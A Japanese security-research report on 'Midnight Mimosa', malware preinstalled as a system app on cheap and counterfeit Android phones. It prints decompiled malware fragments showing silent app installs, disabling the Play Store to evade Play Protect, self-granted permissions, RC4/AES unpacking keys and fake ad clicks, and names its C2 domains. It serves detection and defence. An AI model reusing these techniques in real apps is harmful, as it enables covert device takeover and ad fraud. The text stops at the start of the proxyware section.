ユーザーが電源を入れる前から感染していたスマートフォン:「Midnight Mimosa」の台頭

Bitdefenderのセキュリティ研究者は、MediaTekプラットフォームを採用した低価格のマルチブランドAndroid端末で動作するマルウェアキャンペーン(「Midnight Mimosa」と命名)を特定しました。

このマルウェアは端末のファームウェアにプリインストールされた状態で出荷されます。私たちは、端末ごとに異なる複数のシステムパッケージが関与していることを確認しました。所有者が初めて電源を入れる前から端末に存在しており、アンインストールもできません。

マルウェアはシステム権限で動作し、アプリの無断インストール・削除、権限の付与、リモートから供給される任意のコードの読み込みを行えます。つまり運営者は、思いのままにアプリを導入・削除して端末ごとに用途を調整でき、大規模なボットネットの一部に組み込むことも可能です。

このスキームは主に収益の獲得を狙ったものとみられます。運営者は広告詐欺とクリック詐欺を行い、端末情報やインストール済みアプリの情報を収集し、感染端末をレジデンシャルプロキシの中継ノードに変えてボットネットのゾンビ端末にしています。DDoS攻撃向けのボットネットへのアクセスは需要が高く、新たな収益源になります。ボットネットが大きいほど、請求できる金額も大きくなります。

不正なインプレッションやクリックを記録するのは、システムアプリ自体ではありません。収益エンジンとなっているのは、投下されるカバーアプリです。天気、アプリロック、メモ、OCRなど本物らしく見えるアプリで、正規の広告SDKを通じて本物の広告を読み込みます。目的は単純で、広告の表示を記録する不可視のウィンドウを他のアプリの上に重ねることです。

このシステムアプリ(com.android.system.lite)が最初に特定されましたが、氷山の一角にすぎませんでした。調査を進めると、同じマルウェアの中核部分が、システムを思わせる名前を次々に変えながら出荷されていることが判明しました。com.android.sys.prot、com.android.sys.gmsprot、com.android.sys.bcprotなどです。

それぞれビルドが異なり、署名証明書や名前まで異なるものもあります。問題はパッケージ名ではなく、その下にある共通の中核部分です。

さらに、このマルウェアを制御するのと同じサーバーと通信するアプリが、現在Google Playに13本存在することも確認しました。これらのアプリにはプリインストール版ほど悪質な動作を可能にする権限はありませんが、それでも危険です。

主な調査結果

  • 感染チェーンの中核は、影響を受けるAndroid端末にプリインストールされた、プラットフォーム署名付きの常駐型システムアプリです。
  • この実行役(エネーブラー)は、偽のAppLock、天気、ファイルマネージャー、アイコンツール、OCR、オーディオエディターなど、少なくとも32種類の固有の偽装アプリを入れ替えながら無断で展開します。
  • ユーザー補助機能、通知へのアクセス、SMSの読み書きといった危険な権限を自ら付与します。実際に使われた形跡は確認していませんが、運営者はいつでも利用できます(任意のコードをリモートで読み込めるため)。また、ユーザー補助機能と通知へのアクセスは、付与と解除が短時間のうちに自動的かつ繰り返し行われていることも確認しました。
  • このマルウェアは、ペイロードアプリをインストールする直前にGoogle Playストアアプリを無効化します(Play Protectによる検知を避ける狙いとみられます)。ペイロードの実行後に再び有効化します。さらに、ユーザーが端末を操作しているときにも再有効化する安全装置を備え、疑われるのを避けています。
  • ペイロードは、隠れた広告詐欺や自動クリック詐欺を行うか、端末を大規模ボットネットの単なる一部に変えます。
  • システムアプリとペイロード群は共通のインフラを使っています。天気APIを装ったコマンド&コントロールサービスもその一つです。
  • エネーブラーは単一のパッケージではありません。同じ中核部分が、複数のビルドや署名証明書にまたがり、システムらしい名前で複数出荷されています。
  • 同じ広告詐欺コードは、Google Playで公開されている13本のアプリにも見つかりました。少なくとも2つの開発者アカウントと13種類の署名証明書が使われています。

調査の発端は、Bitdefender Mobile Securityに搭載されている「App Anomaly Detection(アプリ異常検知)」技術が、com.android.system.liteにフラグを立てたことでした。このパッケージはコアシステムコンポーネントの名前と外観を備えながら、実際にはそれとは似ても似つかない動作をしていました。

モバイルセキュリティの多くは、いまだに「アプリをスキャンして問題がなければ安全」という単一の前提で動いています。2023年に導入されたBitdefenderのApp Anomaly Detectionが存在するのは、現実にはこの理屈がしばしば通用しないからです。

アプリは休眠状態を保ち、数週間後に牙をむくことがあります。特定の条件が満たされたときだけ悪意ある動作をする(標的型マルウェア)場合もあります。こうしたアプリは静的チェックをすべて通過したうえで、後からサーバーから本当のペイロードを取得したり、ネイティブコードから巧妙に展開したりします。

App Anomaly Detectionは、端末上でアプリの動作を継続的に監視することでこの隙を埋めます。端末上の機械学習、リアルタイムの挙動分析、その他のさまざまなシグナルを組み合わせる仕組みです。昨日クリーンに見えたかどうかには依存せず、挙動そのものに反応します。無害から悪意ある動作へ一線を越えた瞬間に、現行犯で捉えます。

決め手となったのは、このリアルタイムの挙動分析でした。このアプリはシステムアプリ(プラットフォーム署名付き)としてプリインストールされていました。アンインストールはできず、ストアの審査もなく、ユーザーが選んだものでもありません。端末の電源が入った時点で、ユーザー側の防御策はすべて回避済みでした。検知の手がかりは挙動だけだったのです。

そこからBitdefenderのインサイトにより、このアプリの動きが明らかになりました。同じ端末上で、システムアプリがペイロード群を無断でインストール・削除しながら入れ替えていたのです。その一つがcom.mobile.applock.wtで、アプリロックツールを名乗りながら、名前から想像される機能は備えていませんでした。

名前どおりに動作させるためのインターフェースもコードもなく、ユーザーからは完全に隠されていました。実際には、それ自体が高度に難読化されたドロッパー型マルウェアでしたが、感染の根本原因ではありませんでした。

この調査もまさにそこから始まりました。書類上は、com.android.system.liteに注意深く目を向けるべき点は見当たりませんでした。OSの一部を装ったプラットフォーム署名付きのコンポーネントで、アイコンも目に見える挙動もなく、実際の仕組みは実行時にだけ動き出すネイティブライブラリの中に隠れていたからです。

 App Anomaly Detectionがcom.android.system.liteにフラグを立てたのは、Androidのコアコンポーネントを装っているのに、その挙動がコアコンポーネントらしくなかったためです。ユーザー補助機能や通知へのアクセスといった機微なアクセスを繰り返し有効化し、無関係のアプリを無断でインストール・削除していました。

こうした示唆に富む手がかりをたどって、研究者はマルウェアの出どころを突き止めました。ユーザーが削除できない、常駐型のプリインストールシステムアプリです。

システムコンポーネントとされていたこのアプリは、実際には隠れたペイロード群を入れ替えながら管理していました。その中には、広告詐欺や、端末をレジデンシャルプロキシのボットネットに登録するために使われる偽のAppLockアプリも含まれます。

同じ出どころは、さらに広範なペイロード群もインストールしていました。com.mobile.applock.en、com.dmstudio.weather、com.dl.guard.lock、appicon.diy.tools.prop、picturetranslate.extractor.text.liteなどです。

インサイトからは、これらのペイロードアプリが同じ端末上で繰り返しインストール・削除されていることがわかりました。この入れ替えにより、運営者はペイロードがアプリ一覧に表示される時間を短縮し、ハッシュを変え、有効な収益化モジュールを切り替えています。その間も、土台となるシステムコンポーネントは居座り続けます。

運営者に収益をもたらすだけではありません。端末はレジデンシャルプロキシの中継ノードにもなり得ます。つまりボットネットの一部となり、呼び出しがかかればDDoS攻撃の実行を助ける可能性があります。

ペイロード自体は新しいものではなく、このようなマルウェアの出荷手法も過去に詳しく報告されています。しかし今回の特定のキャンペーンは異なります。Shenzhen Zedielのものとされる証明書で署名されたファームウェアを搭載する端末で、エネーブラーのcom.android.system.liteが見つかりました。これが悪意あるアプリを配信しており、その一部はDr.Webが報告するAndroid.Phantomの運営者ファミリーのアプリに似ています。今回はそこにレジデンシャルプロキシウェアが加わっています。

確認できたのは、Shenzhen Zedielの名を持つ証明書が、影響を受けた端末のファームウェアの署名に使われていたことだけです。しかし、これらの証明書がどのような経緯で当該端末に入り込んだのか、また証明書の所有者がマルウェアの展開に関与していた、あるいは認識していたのかどうかは不明です。さらに、今回の調査で浮上した企業名はこれだけではありません。

マルウェアは端末とともに出荷されます。サプライチェーンのどの段階で組み込まれるのかは、わかっていません。ODM、ファームウェアのインテグレーター、物流パートナー、あるいは流通経路の下流にいる別の関係者が持ち込んだ可能性があります。マルウェアは端末が販売される前にROMへ入り込みますが、組み込みの責任を負う特定の当事者を割り出すには、今回の技術分析の範囲を超える情報が必要です。

しかも、このマルウェアが人々の端末に入り込む経路はこれだけではありません。本調査で示すとおり、Zediel署名のファームウェアを搭載していないにもかかわらず、同じマルウェアが出荷される端末は他にも無数にあります。

インターネット上には、極端に安価な、時には露骨な偽造品のAndroidスマートフォンがあふれています。これほど安く売るハードウェアの元を取る方法の一つが、後から稼ぐソフトウェアを仕込んでおくことです。

主要なマーケットプレイスで販売されている、フラッグシップ機の偽造品です。S24 Ultra、S25 Ultra、S26 Ultraといったモデル名は、低価格のMediaTek搭載ハードウェアが報告するモデル文字列として、私たちのインサイトにも現れます。

技術分析

中核となるアプリは非常に似通っているため、ここでは確認した悪意あるシステムアプリのうち1つだけを詳しく取り上げ、このエコシステムの仕組みを明らかにします。

問題のcom.android.system.liteは、Androidのシステムアプリとしてプリインストールされています。通常のアプリではありません。プラットフォーム用に署名されて出荷され、systemユーザーとして動作し、ユーザー操作なしにパッケージのインストール・削除や他のアプリへの権限付与を行う権限を持っています。

これらの機能は、自身のAPKコードには実装されていません。ネイティブライブラリ(libeasy.so)の中に隠されており、ロード時にRC4で復号して、難読化されたJavaフレームワークをsystem-uidのプロセスに投下します。

このフレームワークはC2(コマンド&コントロールサーバー)からリモート設定を取得します。続いて、実際の収益化ペイロードを担うステージ2・ステージ3のDEXプラグインをダウンロードして読み込みます。

  • プロセス内広告詐欺:偽の広告インプレッション・クリックの生成(「wz」プラグイン)。
  • パートナーアプリのsystem-uidとしての無断インストール・アンインストール(「earn」/「gogo.third」プラグイン)と、無断での権限付与。
  • 投下されるパートナーアプリは、それ自体が既知のドロッパーです。TCPプロキシウェア/ボットネット(applock.en)と、広告詐欺+RCEドロッパー(applock.wt)です。

インサイトにより、一つのエネーブラーがこれらのパートナーアプリのポートフォリオを入れ替えながら、実際の端末に無断でインストールしていることが確認されました。エネーブラーは、このスキーム全体の端末上の根幹です。

システムアプリ(エネーブラー)

エネーブラーアプリは、プラットフォーム署名付きの常駐型コアシステムコンポーネントで、一連の特権権限を宣言しています。以降のすべての土台となる部分です。これらの権限を保持できるのは、プラットフォーム署名付きのsystem-uidアプリだけです。

package: com.android.system.lite   versionCode=900000   label="System" 
<manifest ... sharedUserId="android.uid.system"  coreApp=true> 
  <application android:persistent="true" ...> 
  uses-permission: android.permission.INSTALL_PACKAGES 
  uses-permission: android.permission.DELETE_PACKAGES 
  uses-permission: android.permission.GRANT_RUNTIME_PERMISSIONS 
  uses-permission: android.permission.WRITE_SECURE_SETTINGS 
  uses-permission: android.permission.MOUNT_UNMOUNT_FILESYSTEMS 

エネーブラーのAndroidManifest.xml(aapt2 dump)。sharedUserId=android.uid.system + coreApp + persistent は、ファームウェアのシステムコンポーネントであることを示します。特権権限により、無断のインストール・アンインストールと無断の権限付与が可能になります。

アプリのラベルは汎用的な「System」で、アイコンは隠されています。ランチャーには表示されず、正規のOSコンポーネントと見分けがつきません。自身のAPKのdex(com.gogo.bb.sdk / Monitor*サービス)は薄いホストシェルにすぎず、危険なロジックは同梱のネイティブライブラリに潜んでいます。

確認された範囲を超える能力

マニフェストは、アプリのインストールとは無関係なアクセスも要求しています。インストール権限と権限付与権限に加えて、エネーブラーはユーザー補助サービス、通知へのアクセス、SMS権限を宣言しています。さらに注目すべきは、所有者に有効化を促すのではなく、ユーザー補助サービスと通知アクセスのサービスを自ら有効化する点です。

分析中に、どちらも実際に使われた形跡は確認していません。その点は留意すべきですが、軽視すべきでもありません。ユーザー補助サービスは、すべての画面の内容を読み取り、入力内容を観察し、所有者に代わってインターフェースを操作できます。Androidのバンキングトロイや遠隔操作型の詐欺で使われる標準的な仕組みです。

通知へのアクセスがあれば、チャットアプリを含むあらゆる通知を読み取れます。SMSへのアクセスがあれば、ワンタイムコードの読み取りや、プレミアム番号へのメッセージ送信ができます。これらの権限を握っているのは、アンインストールできず、しかもリモートサーバーからすでにコードを読み込んでいるコンポーネントです。そのサーバーの運営者の系譜には、プレミアムSMSの契約詐欺が含まれます。

この能力は実装済みで、自己有効化され、リモートから起動できます。それをどう使うかはC2側で運営者が決めることであり、私たちが分析したサンプル自体の性質ではありません。

libeasy.soはJNIメソッドを1つ(nativeInit)だけ登録しており、その本体は分岐トランポリンの裏に隠されています。初期化時にJavaの暗号ハンドルをキャッシュし、ライブラリに埋め込まれた142 KBのAPKをRC4で復号してディスクに書き出します。投下されるAPKが、特権フレームワークです。

JNI_OnLoad: FindClass("org/b/c/lib/MainLib"); RegisterNatives(off_69000, 1) 
  JNINativeMethod { name="nativeInit", signature="()I", fnPtr=0xF764 } 
0xF764  nativeInit (registered ptr)  ->  b 0x115AC        ; trampoline 
0x115AC real nativeInit body         ->  "rz.init.done." + "20240425" 
0x10910 init worker (guard @0x697F8, returns -101 if already init) 
0x10940 crypto bootstrap  (caches Cipher / SecretKeySpec / Base64 / String) 
0x107C4 blob dropper  ->  RC4-decrypt blob@0x3949E (len 0x22D60)  ->  write APK 
        RC4 key = last 16 bytes of the blob;  native string key = "rc4@sec[.]com"

libeasy.soのロードチェーン(IDAオフセット。ET_DYN、imagebase 0のためファイルオフセット=vaddr)。ファミリーのビルドタグ20240425は、nativeInit内で組み立てられます。

投下されるAPKはcn.kw.lib.hex(215クラス)で、文字列が難読化されたフレームワークです。文字列はAES-128-CFBで暗号化されています。

g.b(x) = base64-decode(x) -> AES/CFB/NoPadding decrypt 
         key = MD5("aGV4QCFRQFcjRQ==")   (= "hex@!Q@W#E") 
         IV  = "0102030405060708"

埋め込まれたフレームワークの文字列暗号。エネーブラー自身の文字列暗号(鍵「dHhAZXhAc2Vy」)と同じ構成であり、コードを共有している証拠です。

2つの特権プリミティブ(権限付与+RCE)

投下されるフレームワークは、APKのdexには存在しない、2つの強力な機能を実装しています。

任意のパッケージへの任意の権限付与:

// hex.c.b.a(ctx, pkg, perm) — reflected privileged grant 
PackageManager.grantRuntimePermission(pkg, perm, UserHandle)   // + getUserHandleForUid 
// enumerates third-party targets and verifies the grant: 
pm list package -3 ; checkPermission(perm, pkg)

権限付与プリミティブ(埋め込みdexの復号済み文字列:「grantRuntimePermission pkg:」「pm list package -3」)。対象で完全にパラメータ化されているため、自分自身だけでなく、あらゆる他のパッケージに権限を付与できます。

リモートDEX/JARの更新=リモートコード実行:

cn.kw.lib.dx.DxFactoryがdalvik.system.DexClassLoader経由で
kwlib.jar(+ kwlib.next)をダウンロード・更新します。MD5チェックとバージョン制御(isNeedUdx、lst_udx_tim)を備え、エンドポイントはハードコードではなくリモート設定(getNavigation)から取得されます。

RCEローダー。エンドポイントは実行時にC2設定から供給されます。

ステージ2/ステージ3プラグインと端末内プラグインストア

フレームワークはステージ2のホスト(kwlib.jar → cn.kw.lib.dx.DxFactory)を取得し、これが3つのステージ3プラグインを読み込みます。各プラグインは、files/plg/<id>/ 配下に、magic.o(拡張子.oを装ったJAR)と記述ファイルとしてキャッシュされます。

files/plg/<md5-id>/magic.o        <- PK\x03\x04  (a ZIP/JAR, not a .o) 
files/plg/<md5-id>/magic.o[.]info: 
20311###magic###com.wz.sdk.DxFactory###magic###0bed0405...(md5 of jar) 
      ###magic###1782294f...(iconDesc)###magic###^(wtd|com.wz.sdk|com.ads.cal|com.android.gem|...).+

プラグインの記述ファイル。バージョンとiconDescの値は、C2がgetConfigsで返した内容と完全に一致しており、プラグインストアがC2によって供給されていることがわかります。

プラグイン(エントリクラス) バージョン 役割
com.wz.sdk.DxFactory 20311 偽のクリックやインプレッションを含む、プロセス内広告詐欺
com.earnsdk.lib.DxFactory 5 パートナーアプリの無断インストール・削除(PPI)
com.gogo.third.lib.DxFactory 10014 WebView機能を備えた無断インストーラー

wzプラグインは、所有者が求めていない場面で広告を描画します。使う画面は2種類で、ユーザーが何も開いていないのに起動されるフルスクリーンのアクティビティと、すでに画面に表示されているものの上に描かれるオーバーレイウィンドウです。描画のきっかけは、ディスプレイの点灯といった画面状態の変化や、端末がアイドル状態のときに広告メッシュ経由で送り込まれるコマンドです。

この広告面にはセキュアフラグも設定されており、スクリーンショットや画面録画には映りません。本来このフラグは、銀行画面などの機密コンテンツをキャプチャから守るためのものです。ここでは逆の使われ方をしており、不正な広告面を所有者や端末の解析者が記録しにくくしています。

詐欺そのものは、リモート設定によってパラメータ化されています。Kotlinのフィールド名は平文のままです。

class RemoteConfig {   // com.ads.cal.core.RemoteConfig (@Metadata field names) 
  int silentPercent;      // % of ads to ‘click’ with NO user touch 
  int notClickPercent;    // % of impressions to auto-convert 
  int notClickInterval;   // min ms between fabricated clicks 
  int notClickTopRate, notClickBottomRate, notClickLeftRate, notClickRightRate; // fake touch placement 
  int livePercent, weight, priority; String mediaPkgName, adspotId; }

詐欺の「つまみ」。silentPercent / notClickPercentは、実際のタップなしにクリックを記録する確率です。notClick*Rateは、人間らしく見せるために、合成タッチをクリエイティブ上のどこに置くかを偏らせます。

プログラムによる(合成)クリック:ユーザーは関与しない

// wtd/p/n0.java:192  — code-driven click fired from a Runnable 
public void onClick(View view) { b.this.h.performClick(); }

ランダムなターゲット+1日の上限+間隔スロットル(偽のトラフィックを自然に見せるためにペース配分):

// wtd/f/s.java  r(Context) 
int nextInt = random.nextInt(f.size());   // random ad target from C2 list 
int l = e.l();  int d = e.d();            // today’s fabricated count / daily cap 
if (l >= d) { B(3); return; }             // cap reached -> stop 
if (elapsedRealtime - this.h < e.c()) return;  // interval not elapsed -> skip 
w.post(this.i);                            // fire the interaction runnable

タップ → 宣伝対象アプリの無断ディープリンク起動:

// wtd/f/s.java  t(MotionEvent)  — an incidental tap becomes a click on the advertiser app 
Intent intent = new Intent(); 
intent.putExtra("from", this.e.e());       // adspot id 
intent.setPackage(this.g);                 // the promoted package 
intent.addFlags(268435456); 
wtd.e.h.g.startActivity(intent);           // silently launches the target

サイレントフラグ付きの、時間ベースの自動「コンバージョン」報告(表示から60秒後、操作なし):

// wtd/f/e.java 
if (nVar2.p().get() == p.b && elapsedRealtime - nVar2.h().get() >= 60000) { 
    f Q = Q(str, longValue, EnumC0017e.b, h0Var, false, z.v(str)); 
    k0.l.s(a2, Q);         // upload the (fabricated) interaction event 
} 
// wtd/f/c.java:251 — the upload carries an explicit ‘silent’ boolean 
wtd.m.c.F(iVar.i(), iVar.d(), nVar.t(), nVar.p() /*silent*/, s1, s2, s3);

偽装の全体像:広告を描画 → performClick()/startActivityで偽のクリックを生成 → 60秒のタイマー後にsilent=trueで「コンバージョン」を自動報告 → silentPercent/notClickPercent/1日の上限で流量を調整。すべてのイベントはDotReporter経由でweatherlive.world/odborwer_dot/cmに送られます。

誰に課金されるのか

偽のクリックが収益になるのは、広告ネットワークが誰かに帰属させた場合だけです。帰属は広告SDKに従います。ネットワークは、自社のSDKと広告ユニット識別子を持つアプリに、インプレッションとクリックを計上します。広告SDKを持たない隠れたシステムコンポーネントが生むトラフィックは、どこにも帰属せず、誰にも支払いが生じません。 

だからこのスキームにはカバーアプリが必要です。エネーブラーがインストールする天気、アプリロック、メモ、OCRのアプリは、正規の広告SDKを載せた一見ごく普通のアプリであり、広告ネットワークから見えるのはこれらです。wzプラグインがシステムプロセス内で動作することとも整合します。プラグインがロジック、タイミング、合成された操作を担い、広告ユニット、つまり支払いはカバーアプリに帰属します。 

両者は広告メッシュ内でバインドされたピアです。各カバーアプリはMyDataServiceをcom.media.am.intent.action.BIND_SERVICEというアクションでエクスポートしており、コントローラーがそれらをバインドして、メッシュ越しに広告ペイロードとコマンド(initMediaApp、setAdData、transferData)を送り込みます。すべてのアプリが、同じweatherlive C2に同一の端末識別子を報告します。このため、あるアプリが別のアプリの描画・収益化するインプレッションやクリックを駆動できます。

スキーム全体の役割分担は次のとおりです。

  • システムエネーブラー:パートナーアプリを無断でインストール・削除し、権限を付与し、インストールのたびにPlay Protectを無力化します。広告ユニットは持たず、課金もされません。
  • ネイティブコアと隠しフレームワーク:特権フレームワークを復号・読み込みし、権限付与プリミティブとリモートコード更新チャネルを提供します。
  • ステージ2・ステージ3プラグイン:C2から供給されるモジュールで、詐欺ロジックをプロセス内で実行し、無断インストールを行います。
  • 投下されるカバーアプリ:収益エンジンであり、広告ネットワークが目にする唯一の部分です。
  • アイコンなしのドロッパー:別系統の収益化手段で、プロキシウェアと第2の広告詐欺モジュールです。
  • C2:モジュールの制御、詐欺の設定、偽装イベントの収集を担います。

無断インストールと権限ロンダリング

earn/gogoプラグインは、パートナーアプリを無断でインストールします。判断の入口とインストール処理はマルウェア自身のコードです。ホストがsystem-uidとしてINSTALL_PACKAGESを保持しているため、これが動作します。

// earndex.e.f.d(ctx, assets, pkg, version, str2) -> new com.earnsdk.lib.a(...).h() 
// com.earnsdk.lib.a.h(): if needInstall -> 
AppInstallHelper.c(ctx, assetManager, "mediaapp-release.apk", pkg, str3); 
// AppInstallHelper.c -> earndex.h.c.a() copies the bundled APK out of assets -> earndex.h.f.g(): 
// earndex.h.c.l(context, pkg, path):  PackageInstaller session (silent on system-uid) 
SessionParams sp = new SessionParams(MODE_FULL_INSTALL); 
int sid = pi.createSession(sp); Session s = pi.openSession(sid); 
s.openWrite(...); s.commit(intentSender);   // no user prompt

無断インストールの経路(com.earnsdk.lib.AppInstallHelper + earndex.h.c/f)。古いAndroid向けにレガシーのinstallPackage(Uri,…)リフレクションも存在しますが、Android 13ではPackageInstallerセッション経由の経路が有効です。

ホストプロセスがsystemユーザーとしてINSTALL_PACKAGESを保持しているため、createSession → openWrite → commit の一連の処理は、PackageInstallerの確認UIなしで完了し、インストール元のパッケージとしてはエネーブラーが記録されます。インストールのどの段階でも、ユーザーの操作は不要です。

権限ロンダリング:エネーブラーがアプリをインストールするため、通常のストアアプリでは決して保持できない権限も、無断で付与できます。投下される天気のカバーアプリは、署名レベル(特権)の開発用権限であるWRITE_SECURE_SETTINGSを宣言し、実際に使用しています。

// com.dmstudio.weather  q6/c.java:17  (uses a permission a store app cannot obtain) 
Settings.Global.putString(cr, "vdgtjy", {"data":<int>,"time":<millis>}); 
// grantable only because a GRANT_RUNTIME_PERMISSIONS holder granted it (development-flag perm): 
// enabler/plugins: grantRuntimePermission pkg:  ... authorize, grantRuntimePermissionFor6X

天気アプリでWRITE_SECURE_SETTINGSの書き込みが機能していることは、通常のインストールでは決して得られない特権付与を受けたことを示しており、system-uidのエネーブラーが付与したという見方と整合します。同じパッケージはGoogle Playでも公開されていますが、そのビルドにはこうした付与はありません。特権は、アプリ自体ではなく、アプリが端末に届いた経路に由来します。

システムアプリとの相互作用:投下されるカバーアプリは、広告メッシュ内でバインドされたピアです。MyDataService(アクション com.media.am.intent.action.BIND_SERVICE)をエクスポートしており、コントローラーがそれらをバインドして広告コマンド(initMediaApp/setAdData/transferData)を送り込みます。これらは同一のuuidと同じweatherlive C2を共有しています。

Play Protectの回避(無効化 → インストール → 再有効化)

プラグインは、インストール時のプロンプトを抑止するだけでなく、インストールの間Google Play Protectを無力化します。ホストのsystem-uidのシェルアクセスを使い、パートナーAPKをインストールする直前に「pm disable com.android.vending」(Play Protectの端末内スキャナーを擁するPlayストア)を実行します。そしてインストールの成功時・失敗時の両方のコールバックで「pm enable com.android.vending」を実行します。

悪意あるインストールは、Googleのスキャナーが停止している時間帯に行われます。3つのプラグインはすべて同一の方法で実装しています(難読化された文字列は、ここに示すコマンドに復号されます)。

// com.earnsdk.lib.AppInstallHelper.c()  (also com.gogo.third / com.wz.sdk) 
earndex.e.a.a(context, "com.android.vending");   // -> pm disable com.android.vending   (before install) 
f.g(context, pkg, apkPath);                       //    silent PackageInstaller session 
// install observer: 
onSuccess -> earndex.e.a.b("com.android.vending"); // -> pm enable com.android.vending 
onFailure -> earndex.e.a.b("com.android.vending"); // -> pm enable com.android.vending 
// earndex.e.a  (bldex.e.a / com.ads.cal.core in the other plugins) 
a(ctx,p): f.e({ "pm disable " + p });   // ProcessBuilder 
b(p):     f.e({ "pm enable "  + p });   // ProcessBuilder

3つのプラグインすべてで確認されたPlay Protectの回避(earn: earndex/e/a.java、gogo: bldex/e/a.java、wz: com/ads/cal/core/kt/ContextKtKt + GEMController)。難読化されたトークンは「pm disable 」「pm enable 」「com.android.vending」に復号されます。これは無断インストールそのものとは別の行為です。無断インストールはユーザーへの確認プロンプトを取り除き、com.android.vendingの無効化はリアルタイム検知を取り除きます。

偽造されたPlayの出自:なりすまされたインストーラーと、存在しないフロスティング

スキャナーを無効化すると、インストール中は隠せます。第2の手口は、アプリが自称する入手元を書き換えることで、インストール後もこれを隠します。

INSTALL_PACKAGESを保持する特権インストーラーは、PackageInstaller.SessionParamsを通じて、記録されるインストーラーパッケージを自ら設定できます。プラットフォームはこの値を検証せず、インストールするプロセスが宣言した内容がそのまま使われます。コーパスの一部ではcom.android.vendingが設定されており、端末はそのアプリがGoogle Play由来だと報告します。

この主張は検証で偽りと見破れます。実際にGoogle Playから配信されたアプリには、Playが適用する署名ブロック(フロスティング)が付いています。これはGoogleがサーバー側で追加する、APKがPlayを経由した証であり、Playの外では作成できません。インストーラーのフィールドがcom.android.vendingなのにフロスティングブロックがなければ、その出自は正当に得られたものではなく、偽造されたものです。

MD5 パッケージ 記録されたインストーラー Playフロスティング
0903d7fd3e1d4a599a7eb3c5d356779b com.android.weiapps com.android.vending なし
61aac6a98abd6dcff0dc41bb88159786 com.android.sys.dts com.android.vending なし
250205ee4b8de59e60c745856f439608 com.android.non.szcz com.android.vending なし

インストール元としてGoogle Playを記録しながら、Playの署名ブロックを持たないサンプル。3つとも投下されたペイロードではなく、エネーブラーファミリーのビルドです。

これは、通常のトリアージの近道を覆すものです。インストールのプロンプトを抑止すればユーザーが排除され、com.android.vendingを無効化すれば自動スキャナーが排除されます。インストーラー名を偽装すれば、そのどちらが行われたかを示すフォレンジック上の痕跡が消えます。このキャンペーンでは、インストーラーのフィールドだけではサンプルの帰属判断も無害の判定もできません。信頼できる確認方法は、フロスティングの有無です。

配信モデルとフィールドインサイト

パートナーAPKは、インストール時に別途取得されるわけではありません。実際には、ステージ3プラグインの中にassets/mediaapp-release.apkとして同梱されています。C2は、配信するプラグインのバージョンを制御することで、どのAPKを配信するかを制御します(getConfigsのバージョン → CDNのoss.showtimetool[.]comからプラグインを取得)。同梱されていた2つのパートナーAPKは、既知のスタンドアロン版ドロッパーのサンプルとバイト単位で一致しました。

プラグイン 同梱のmediaapp-release.apk MD5 既知のサンプル
com.earnsdk.lib com.mobile.applock.en v6(「Locket」) 08d231c6a5303e543eb60d4181f6a4ea プロキシウェア / EnLoaderLib
com.gogo.third.lib com.mobile.applock.wt v17(「Locket」) 4a171f62d1bab01827b06ae73d4caafa 広告詐欺+RCE

フィールドインサイトにより、実際の端末では、エネーブラーがポートフォリオ全体のインストール元パッケージであることが確認されています。アイコンなしのドロッパーと、機能するカバーアプリの両方が対象です。

インストールされたパッケージ MD5 端末数
com.mobile.applock.en 08d231c6a5303e543eb60d4181f6a4ea 199
com.mobile.applock.wt 4a171f62d1bab01827b06ae73d4caafa 199
picturetranslate.extractor.text.lite e250e5966c119a9098f7818fc6c080e5 182
appicon.diy.tools.prop 3b20edff1125e146aa3d5153708b58f4 139
com.dl.guard.lock 6739fe083cfa8dec9b4f989ccba0e99e 120
com.dmstudio.weather 542ab80429ec42e8643dc645f58b716c 97
com.audify.editor.pro 145b806282d247441751bb4957b71606 2
com.mb.applock.a02 ee70ec99121f4d7c8b5a883e5ab3a858 1
com.solide.filemanager.lte 92390cacdd20d2ee5405093669e7302c 1

com.android.system.liteによってインストールされたと記録されたパッケージ。アイコンなしのドロッパーと機能するカバーアプリの両方がエネーブラーによってインストールされています。パッケージごとに複数の異なるAPKバージョンがあるのは、同梱ペイロードのバージョンをC2が入れ替えていることを反映しています。

キャンペーンの規模

上の表は、調査した単一のエネーブラーがインストールしたポートフォリオを数えたものです。ファミリー全体で約2年の期間にわたって計測したところ、このキャンペーンは150を超える国・地域の数千台の固有端末で確認されました。 

地理的な分布の上位はメキシコ、フランス、イタリアで、米国、ドイツ、ブラジル、スペインが続きます。上位の下には、アフリカ、東南アジア、中東にまたがるロングテールが広がっています。

このグラフには、この広がり方について注目すべき特徴が2つあります。突出した単一の国はなく、重心が西ヨーロッパと南北アメリカという2つの別々の地域に分かれています。

地域限定の流通チャネルは、このような姿にはなりません。通信キャリアや国内の小売店なら、支配的な市場が一つできるはずです。2つの重心とその後ろに続くロングテールは、国際的なオンラインマーケットプレイスを通じて流通するハードウェアの典型的な姿です。

このマルウェアを搭載する端末の種類についても、いくつかの詳細がわかっています。多くの端末は使用しているファームウェアだけで識別されており、安価な端末か、有名機種のクローンとみられます。

前述のとおり、Zediel署名のファームウェアは、マルウェアが出荷される唯一の経路ではありません。運営者は他にも多くの端末を使っており、その大半は実在のスマートフォンの外観を真似たクローンとみられ、同じマルウェアを組み込んでいます。

汎用的なユーザーエージェント文字列を別にしても、影響を受けたモデルの多くは、無関係なフラッグシップ機の名前を借用した偽造端末です。偽のiPhoneには、「i17 Pro Max」「i16_Pro_Max」「17_Pro_Max」があり、タブレットでは「iPadAirPro」も確認されています。

SamsungのGalaxyも同じように遠慮なく模倣されており、本物の端末なら絶対に報告しない自由記述の「S25 Ultra」「S24 Ultra」「Note 18 Ultra」といった文字列が見られます。このキャンペーンは実在の型番さえ偽装します。Galaxy S25 Ultraの正規らしく見えるユーザーエージェント文字列「SM-S938B」が、Samsung製ではない端末に現れているのです。

HonorのMagic 15 MAXや、無名の「Ultra」端末も加わり、パターンは出そろいます。安価なスマートフォンを売るためなら、どんなブランド名でも使われて同じファームウェアが出荷されます。このため、モデル欄は偽装の指標であり、実際の端末インベントリではありません。

一方、出荷量が最も多い2つのモデルは、実在する名の通ったブランドのものです。「S200 X」はDoogee、「KINGKONG X」はCubotに関連しています。これらのブランド名は、XDAフォーラムに記録された、公に報告されたファームウェア更新のインシデントにも登場しており、サプライチェーンの一部のセグメントに、より広範なパターンがあることを示唆している可能性があります。

この公開報告はXDAフォーラムで確認できます。所有者らが、削除しても新しい名前で再び現れる隠しパッケージcom.android.sys.*を突き止めており、このファミリーで見られる自己更新の挙動と同じです。

プロキシウェアボットネット(com.mobile.applock.en)

earnプラグインに同梱されているパートナーアプリ(com.mobile.applock.en、ラベルは「Locket」、アイコンなしの偽アプリロック)は、単一目的のTCPバックコネクトプロキシです。

